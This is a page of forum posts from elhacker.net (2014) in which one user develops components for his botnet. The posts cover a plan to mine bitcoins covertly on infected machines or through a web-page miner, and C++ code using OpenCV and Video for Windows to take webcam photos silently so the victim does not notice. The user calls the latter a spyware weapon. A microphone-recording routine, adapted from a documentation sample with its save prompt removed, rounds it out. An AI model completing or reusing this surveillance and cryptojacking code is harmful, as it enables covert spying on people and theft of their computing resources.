elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: 1 ... 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [64] 65 66 67 68 69 70 71 72 73 74 75 76 77
631  Programación / Programación C/C++ / Minador de bitcoins en cpp en: 12 Octubre 2014, 13:58 pm
Bueno, este es mi siguiente objetivo, la joya de la corona.

Me propongo una función que mine los bitcoins, para ello necesitaremos crearnos una cuenta en una página como eclipsemc.com o bitcoin.org.

Bien tendremos que hacer un cliente que reciba las cadenas cifradas para ganar bitcoins descargandolas desde la página a ser posible, o sino podría acceder yo y distribuir las cadenas cifradas en la botnet para que los bots tratasen de descifrarlas y me mandasen bitcoins.

De momento esto de los bitcoins es nuevo para mí, seguro vosotros conocéis como funciona (hay clientes que para minar te ponen un capcha, no el del eclipse asi que bien), la idea sería hacer un cliente minador modificado del eclipsemc y hacerlo en cpp, no sé si se podrá hacer utilizando códigos como estos:

https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp
https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp
https://github.com/bitcoin/bitcoin/blob/master/src/wallet.cpp

Es que esto puede variar mucho, cliente y server pueden tener limites y demás.
Pero decidme como funcionan los bitcoins, ahora creo que el procedimiento es el siguiente:

Tengo un cliente, inicio sesión y el server me reconoce, luego le pido al server una cadena que esta cifrada y la trato de descifrar no?, trabajo sobre ella hasta que la descifro entonces la subo al server y gano mis bitcoins para esa cuenta no?

Si es así podría hacerlo de 2 formas:

1-Iniciando sesion en un solo ordenador, descargar varias cadenas( quizás no deje mas de una a la vez por eso hablé de los limites). Y usando la botnet enviar estas cadenas a los bots para que las descifren, quizás esto me sirva de ayuda:
https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp
Aunque ahora no entiendo nada xD. Bien descifrarían la cadena y la subirían a la botnet y yo desde mi cliente y ordenador subiría la cadena descifrada y ganaria bitcoins en mi sesion.

2-Haciendo que todos los bots inicien sesión en la cuenta con un cliente modificado(ya que el bot no se debe de dar cuenta no le puede salir una ventana y que el acepte minar xD tiene que ser todo en segundo plano), que descarguen las cadenas cifradas, las minen y suban las descifradas al server del bitcoin para ganar bitcoins en mi cuenta.

La mejor manera sería la 2 indudablemente, pero haber como hacemos eso.

¿Alguna idea? Iré pensándomelo poco a poco es demasiado complejo pero quizás no lo sea tanto, necesitaría hacer ingeniería inversa a un cliente de bitcoins cosa que no sé hacer, o no sé ¿qué métodos seos ocurrirían a vosotros?

Edito: Para empezar estoy haciendo un proyecto a partir del código abierto sobre bitcoins que hizo su creador e iré probando como funciona, PD el main tiene solo 5000 lineas de código estaba seleccionando y casi me peta el ordena xDD

Bueno la verdad me lo estoy replanteando al ver que hay unos 100 archivos:

https://github.com/bitcoin/bitcoin/tree/master/src

Vaya miren esta página:

http://qz.com/154877/by-reading-this-page-you-are-mining-bitcoins/

Una página que te hace minar bitcoins mientras la lees, sería otra opción :))

Solo que el minador iría en la página y todo eso xD

Saludos.
632  Programación / Programación C/C++ / Re: Ayuda haciendo foto cpp en: 12 Octubre 2014, 12:37 pm
Hola a todos gente, a pesar de que no tuve mucha información no me rendí y conseguí hacerlo funcionar sin necesidad de que salga ventana, es decir en modo silencioso :)

Aquí el código:

Código
  1. void photo()//Hace 2 fotos ojo para 2 driver cuidado si tiene menos o mas. (poner para 0). o comprobar
  2. {
  3. int driver = 0;
  4. do
  5. {
  6. CvCapture* capture = cvCaptureFromCAM(driver);
  7. if (!capture)
  8. {
  9. break;
  10. }
  11. IplImage* frame = cvQueryFrame(capture);
  12. if (!frame)
  13. {
  14. continue;
  15. }
  16. if (driver == 0)
  17. {
  18. cvSaveImage("pic0.jpg", frame);
  19. cvReleaseCapture(&capture);
  20. }
  21. else
  22. {
  23. cvSaveImage("pic1.jpg", frame);
  24. cvReleaseCapture(&capture);
  25. }
  26. driver++;
  27. } while (driver < 3);
  28. }
  29.  

Lo que pasa es que en cvCaptureFromCAM(driver), si driver es "0" me pilla la ciberlink y me manda una foto falsa de una imagen de una webcam, no de la imagen que saca la webcam, sin embargo si meto un "1"  me pilla el driver de HP services y  ahí si que me saca la foto, pero claro esto para mi ordenador, si yo quiero usar otro ordenador y asegurarme de que no me salgan fotos fake como la de ciberlink que código debería usar?

Aquí lo que hice fue que saque 2 fotos para los 2 primeros driver, pero claro yo quiero solo una y quiero asegurarme de que no sea una foto fake, sabéis algo?

Edito: Bueno os dejo el método automatizado que acabo de hacer:

Código
  1. int photo()//Hace 2 fotos ojo para 2 driver cuidado si tiene menos o mas. (poner para 0). o comprobar
  2. {
  3. int driver = 0;
  4. char nombre[20],numero[10];
  5. do
  6. {
  7. CvCapture* capture = cvCaptureFromCAM(driver);
  8. if (!capture)
  9. {
  10. break;
  11. }
  12. IplImage* frame = cvQueryFrame(capture);
  13. if (!frame)
  14. {
  15. continue;
  16. }
  17. free(nombre);
  18. itoa(driver, numero, 10);
  19. strcpy(nombre, "pic");
  20. strcat(nombre, numero);
  21. strcat(nombre, ".jpg");
  22. cvSaveImage(nombre, frame);
  23. cvReleaseCapture(&capture);
  24. driver++;
  25. } while (driver < 3);
  26. return driver;
  27. }
  28.  

 Vaya para el video ocurre exactamente lo mismo, ademas no graba audio, tengo trabajo aun xd

Saludos. (uso open cv xD)
633  Programación / Programación C/C++ / Re: Ayuda haciendo foto cpp en: 11 Octubre 2014, 13:01 pm
Hola a todos, he estado haciendo progresos, ya he conseguido hacer una foto formato bmp, el problema es que me pide elegir un programa para hacer las fotos a través de esta función: capDriverConnect(), yo lo que quiero es elegir el programa automaticamente, o buscar otro driver de otra manera.


Código
  1. void photo2()
  2. {
  3.                int driver=0;
  4. HWND hwndMain;
  5. HWND hwndVideo;
  6. char szDeviceName[80];
  7. char szDeviceVersion[80];
  8. char item[161];
  9. int i;
  10.  
  11. char pszOldWindowTitle[MY_BUFSIZE];
  12.  
  13. GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
  14. SetConsoleTitle("deraradfsfsa");
  15.  
  16. Sleep(40);
  17.  
  18. hwndMain = FindWindow(NULL, "deraradfsfsa");
  19.  
  20. SetConsoleTitle(pszOldWindowTitle);
  21. hwndVideo = capCreateCaptureWindow("My Capture Window", NULL, 0, 0, 640, 480, hwndMain, 0);
  22. capDriverConnect(hwndVideo, 0);//Te abre ventana para elegir driver (quiero que no salga que lo haga automatico
  23. capPreviewRate(hwndVideo, 100);
  24. capPreviewScale(hwndVideo, false);
  25. capPreview(hwndVideo, true);
  26.  
  27.  
  28. capDlgVideoSource(hwndVideo);
  29.  
  30. for (int i = 0; i<25; i++)//Aclara un poco la foto.
  31. {
  32. capGrabFrame(hwndVideo);
  33. }
  34.  
  35. capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp");
  36.  
  37. capPreview(hwndVideo, FALSE);
  38. DestroyWindow(hwndVideo);
  39. hwndVideo = NULL;
  40. }
  41.  

La foto la hace pero al hacerla sale una ventana que me pide elegir un programa externo para hacer la imagen, puedo evitar eso?

Estoy probando también con esto para capturar el driver:

Código
  1. /*capDriverConnect(hwndVideo, 0);
  2. WM_CAP_DRIVER_CONNECT wParam = (WPARAM)(iIndex);
  3. lParam = 0D;*/
  4. while (!SendMessage(hwndVideo, WM_CAP_DRIVER_CONNECT, driver,0))
  5. {
  6. driver++;
  7. if (driver>9)
  8. {
  9. DestroyWindow(hwndVideo);
  10. printf("fallo al intentar conectar");
  11. break;
  12. }
  13. }

Funciones:

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644950(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/dd743891(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/dd756885(v=vs.85).aspx

Pero aun asi sale la ventana x[]

Saludos.
634  Programación / Programación C/C++ / Re: Ayuda haciendo foto cpp en: 9 Octubre 2014, 11:18 am
Ya veo de eso me estaba dando cuenta ahora, al intentar linkar una librería y al abrirla vi que las ".a" que serán para el codeblocks no las reconocía luego linkare la que me pone en el link, :))

Edito: Vaya vaya funcionó ahora probaré a quitar el posit que tapa la webcam y trataré de modificar el codigo para que no muestre os drivers ni habra ventanas.

Vaya pensé que funcionaría me sale la foto toda de negro, el código es el siguiente:

Código
  1. void photo()
  2. {
  3. #define MY_BUFSIZE 1024
  4. HWND hwndMain;
  5. HWND hwndVideo;
  6. char szDeviceName[80];
  7. char szDeviceVersion[80];
  8. char item[161];
  9. int i;
  10.  
  11. char pszOldWindowTitle[MY_BUFSIZE];
  12.  
  13. GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
  14. SetConsoleTitle("deraradfsfsa");
  15.  
  16. Sleep(40);
  17.  
  18. hwndMain = FindWindow(NULL, "deraradfsfsa");
  19.  
  20. SetConsoleTitle(pszOldWindowTitle);
  21. hwndVideo = capCreateCaptureWindow("My Capture Window", NULL, 0, 0, 640, 480, hwndMain, 0);
  22.  
  23.  
  24. capDlgVideoSource(hwndVideo);
  25.  
  26. for(int i=0;i<25;i++)
  27. {
  28. capGrabFrame(hwndVideo);
  29. }
  30.  
  31. capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp");
  32.  
  33. capPreview(hwndVideo, FALSE);
  34. DestroyWindow(hwndVideo);
  35. hwndVideo = NULL;
  36. }
  37.  

Conseguí quitar las ventanas (aunque en las ventanas elegía el programa para hacer la foto (ciberlink y otro más había) pero antes aun eligiendo programa el programa se bloqueaba, no sé.

¿Es que tengo que elegir un programa externo para que haga la foto? xD y de ser así no puedo coger el de por defecto en vez de tener que clickar uno? xp

El archivo se crea bien, pero pero es todo de negro, la cámara no enciende la lucecita, no debe de trabajar esto.

Saludos



Venga animo, seguro sabéis algo que lo necesito cuanto antes xP, luego subiré más códigos he ire probando yo solo quiero qur haga una foto y cuando el programa reciba una orden el usuario no se debería de dar cuenta vale si sale una luz en la wrbcam pero de lo demas no se debe de enterar ¿qué le falla a mi último code?

Edito: Por lo visto hay que elegir un driver como hp services o ciberlink en mi caso, aun asi no me rula , y se te abre la ventana para elegir driver no puedes cogerlo tu por defecto luego no es muy eficaz arma de spyware xd

Saludos
635  Programación / Programación C/C++ / Ayuda haciendo foto cpp en: 9 Octubre 2014, 00:06 am
Vaya hola de nuevo, pensaba que la función que hice que se encargaba de hacer una foto por la webcam no me funciona, pues la programé pero no la probé, tengo esto:

Código
  1. void photo()
  2. {
  3. HWND captura;
  4.  
  5. captura = GetForegroundWindow();
  6.  
  7. for (int i = 0; i<5; i++)
  8. {
  9. capGrabFrame(captura);
  10. Sleep(50);
  11. }
  12.  
  13. capFileSaveDIB(captura, "prueba.bmp");
  14.  
  15. capPreview(captura, FALSE);
  16. DestroyWindow(captura);
  17. captura = NULL;
  18. }
  19.  

Me compila pero no me aparece el archivo prueba.bmp en el proyecto, ¿qué puede fallar? Me he guiado a partir de este tema:

http://foro.elhacker.net/programacion_cc/capturar_webcam_devc-t171392.0.html

Edito: Vaya he probado otros códigos como por ejemplo este que si me compila en codeblocks pero no en MVS13 porque no se como linkar la libreria libvfw32.a lo que da lugar a errores.

Otro código:

Código
  1. void photo()
  2. {
  3. HWND hwndMain; // main window handle
  4. HWND hwndVideo; // video capture window
  5. char szDeviceName[80]; // driver name
  6. char szDeviceVersion[80]; // driver version
  7. char item[161]; // concatinated string
  8. int i; // counter
  9.  
  10.  
  11. //-----------------------------------------------------------------------------
  12. //-----------------Para Obtener el HWND de la consola , sacado de msdn------
  13. #define MY_BUFSIZE 1024
  14. // char pszNewWindowTitle[MY_BUFSIZE];
  15. char pszOldWindowTitle[MY_BUFSIZE];
  16.  
  17.  
  18. GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
  19. cout << pszOldWindowTitle << endl;
  20. SetConsoleTitle("deraradfsfsa");
  21.  
  22. Sleep(40);
  23.  
  24. hwndMain = FindWindow(NULL, "deraradfsfsa");
  25. SetConsoleTitle(pszOldWindowTitle);
  26. //-----------------------------------------------------------------------------
  27. //-----------------------------------------------------------------------------
  28.  
  29. //----------------------------Mostrar Drivers---------------------------------
  30. for (i = 0; i<10; i++)
  31. {
  32.  
  33. if (capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion)))
  34. {
  35. strcpy_s(item, szDeviceName);
  36. strcat_s(item, " ");
  37. strcat_s(item, szDeviceVersion);
  38. cout << item << endl;
  39.  
  40.  
  41. }
  42. }
  43. //------------------------Proceso de captura----------------------------------
  44.  
  45. hwndVideo = capCreateCaptureWindow("My Capture Window", WS_VISIBLE, 0, 0, 640, 480, hwndMain, 0);
  46. capDriverConnect(hwndVideo, 0);
  47. capPreviewRate(hwndVideo, 66);
  48. capPreview(hwndVideo, true);
  49.  
  50.  
  51. capDlgVideoSource(hwndVideo);
  52.  
  53. /*for(int i=0;i<25;i++)
  54. {
  55. capGrabFrame(hwndVideo);
  56. }*/
  57.  
  58. capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp");
  59.  
  60.  
  61. capPreview(hwndVideo, FALSE);
  62. DestroyWindow(hwndVideo);
  63. hwndVideo = NULL;
  64.  
  65. system("Pause");
  66. }

En propiedades proyecto/vinculador/entrada puedo añadir librerias .lib, las .a no las reconoce, en el codeblocks si que se podían incluir, pero en este he buscado y no se como, estaría bien que me dijerais si sabéis.

Al compilar da errores y pone:

Error   3   error LNK2019: símbolo externo _capCreateCaptureWindowA@32 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ)

Error   4   error LNK2019: símbolo externo _capGetDriverDescriptionA@20 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ)   

Ya digo creo que son porque no tengo la librería libvfw32.a, de todas formas la cabecera que tengo tiene:

Código
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <cstdio>
  4. #include <fstream>
  5. #include <cstring>
  6. #include <vfw.h>
  7. #define MY_BUFSIZE 1024
  8. using namespace std;
  9.  
  10. void photo();

El programa da errores, en este code y en el otro si me compila pero no funciona xP

Saludos
636  Programación / Programación C/C++ / Re: Hacer grabación con micrófono en cpp en: 8 Octubre 2014, 23:27 pm
Mil gracias, siempre estáis allí para ayudarme, he probado el código y me funcionó con éxito si necesitáis algo me decís, gracias :)
637  Programación / Programación C/C++ / Re: Hacer grabación con micrófono en cpp en: 8 Octubre 2014, 21:05 pm
Hola de nuevo siento la demora, gracias por las respuestas sobretodo a eternal idol que me ha pasado justo lo que buscaba, un código simple que haga un archivo de voz, no quiero más xD.

Bueno me he puesto a probarlo y no me compila os paso todo el codigo:

main.cpp:

Código
  1. #include <Windows.h>
  2. using namespace std;
  3.  
  4. DWORD recordWAVEFile(DWORD dwMilliSeconds)
  5. {
  6. UINT wDeviceID;
  7. DWORD dwReturn;
  8. MCI_OPEN_PARMS mciOpenParms;
  9. MCI_RECORD_PARMS mciRecordParms;
  10. MCI_SAVE_PARMS mciSaveParms;
  11. MCI_PLAY_PARMS mciPlayParms;
  12.  
  13. // Open a waveform-audio device with a new file for recording.
  14. mciOpenParms.lpstrDeviceType = (LPCSTR)"waveaudio";
  15. mciOpenParms.lpstrElementName = (LPCSTR)"";
  16. if (dwReturn = mciSendCommand(0, MCI_OPEN,
  17. MCI_OPEN_ELEMENT | MCI_OPEN_TYPE,
  18. (DWORD)(LPVOID)&mciOpenParms))
  19. {
  20. // Failed to open device; don't close it, just return error.
  21. return (dwReturn);
  22. }
  23.  
  24. // The device opened successfully; get the device ID.
  25. wDeviceID = mciOpenParms.wDeviceID;
  26.  
  27. // Begin recording and record for the specified number of
  28. // milliseconds. Wait for recording to complete before continuing.
  29. // Assume the default time format for the waveform-audio device
  30. // (milliseconds).
  31. mciRecordParms.dwTo = dwMilliSeconds;
  32. if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD,
  33. MCI_TO | MCI_WAIT, (DWORD)(LPVOID)&mciRecordParms))
  34. {
  35. mciSendCommand(wDeviceID, MCI_CLOSE, 0, NULL);
  36. return (dwReturn);
  37. }
  38.  
  39. // Play the recording and query user to save the file.
  40. mciPlayParms.dwFrom = 0L;
  41. if (dwReturn = mciSendCommand(wDeviceID, MCI_PLAY,
  42. MCI_FROM | MCI_WAIT, (DWORD)(LPVOID)&mciPlayParms))
  43. {
  44. mciSendCommand(wDeviceID, MCI_CLOSE, 0, NULL);
  45. return (dwReturn);
  46. }
  47. /*HWND hMainWnd;
  48.  
  49. if (MessageBox(hMainWnd, "Do you want to save this recording?",
  50. (LPCSTR)"", MB_YESNO) == IDNO)
  51. {
  52. mciSendCommand(wDeviceID, MCI_CLOSE, 0, NULL);
  53. return (0L);
  54. }*/
  55.  
  56. // Save the recording to a file named TEMPFILE.WAV. Wait for
  57. // the operation to complete before continuing.
  58. mciSaveParms.lpfilename = "tempfile.wav";
  59. if (dwReturn = mciSendCommand(wDeviceID, MCI_SAVE,
  60. MCI_SAVE_FILE | MCI_WAIT, (DWORD)(LPVOID)&mciSaveParms))
  61. {
  62. mciSendCommand(wDeviceID, MCI_CLOSE, 0, NULL);
  63. return (dwReturn);
  64. }
  65.  
  66. return (0L);
  67. }
  68.  
  69. int main()
  70. {
  71. recordWAVEFile(10000);
  72. return 0;
  73. }
  74.  

Errores:

"Error   1   error LNK2019: símbolo externo __imp__mciSendCommandA@16 sin resolver al que se hace referencia en la función "unsigned long __cdecl recordWAVEFile(unsigned long)" (?recordWAVEFile@@YAKK@Z)"

"Error   2   error LNK1120: 1 externos sin resolver"

Destacar que he modificado el codigo SOLO he puesto como comentario donde creo la ventana HWND y el siguiente if, ya que no me interesa preguntar ni hacer ventanas, y el codigo fuente que encontré aquí: (encontro eternal idol <3)*

http://msdn.microsoft.com/en-us/library/windows/desktop/dd798631%28v=vs.85%29.aspx

No estaba declarada la ventana, probe ha hacer lo poco que se de ventanas y seguía sin funcionar así que lo puse como comentario pero da esos errores, haber si sabéis algo

Muchas gracias y un saludo.
638  Programación / Programación C/C++ / Re: Hacer grabación con micrósono en cpp en: 7 Octubre 2014, 14:07 pm
Vaya gracias ahora me entero y el zip también vale, ahora bien tengo unas 15 carpetas y muchos archivos que no se para que valen para muchos sistemas operativos, y varios proyectos en cpp, ¿se supone que tengo que escarbar de ahí una función que me grabe el archivo de audio, es que estoy hecho un lío, ¿sabéis que directorio es el de windows donde está el proyecto que graba el audio? Así al menos me estudio ese y no 15 más como él xD, descarto la carpeta que se llama debian y mac.

Y una vez encuentre el codigo con su proyecto y su main, bueno ahí ya me las trataré de apañar.

Edito:
Citar
quieres guardar .mp3 y .bmp pero desde donde? cual es la fuente? si la fuente es la misma que el resultado con un abrir y escribir archivo en modo binario bastaría

Claro esa es la pregunta ¿como extraigo los datos binarios que recibe el micrófono? Luego ya sería guardarlos en un archivo ".mp3" o ".bmp" o lo que sea supongo, pero como hago la función de extraer esos bytes del micrófono es la pregunta.

La verdad esto de lame no se nada, estaré estudiando el link de ivancea y buscaré donde extrae datos aunque si me podías decir que ".c" es el que lo hace mejor :=()

Gracias :P
639  Programación / Programación Visual Basic / Re: Ayuda compilar proyectos VB6 en: 7 Octubre 2014, 10:26 am
Vaya, y ¿no puedo crear un proyecto nuevo en el MVS13 de visual basic y copiar los códigos fuente? Solo necesito saber que debería de meter al proyecto en la parte de código para que compile los ".bas" eran archivos de código de VB, mi idea era copiar y pegarlos en un nuevo proyecto MVS13 pero no creo que funcione, ¿qué son los archivos ".frm", ".SCC", ".cls"...? De todas formas si esta manerano es viable, ¿Qué hace exactamente tu programa? ¿Pretendes pasar el proyecto de vb6 a net y abrirlo con el MVS13 no? Parece difícil que funcione, otro camino sería conocer que editor uso y abrirlo con el.

Saludos.

640  Programación / Programación C/C++ / Re: Hacer grabación con micrófono en cpp en: 7 Octubre 2014, 10:06 am
Vaya me he ojeado el código de ivancea y no sé en que momento comienza a grabar el audio pero lo menos hay 10 archivos ".c" es dificil y más sin saber de interfaz gráfica de ventanas.

Por lo de lame acabo de visitar la página he intentado descargarlo y todos los archivos son ".tar.gz" yo lo quiero para windows, y no encontré ningún ".zip" ni ".rar" ni código fuente.

http://sourceforge.net/projects/lame/files/lame/3.99/

Saludos.
Páginas: 1 ... 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [64] 65 66 67 68 69 70 71 72 73 74 75 76 77
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines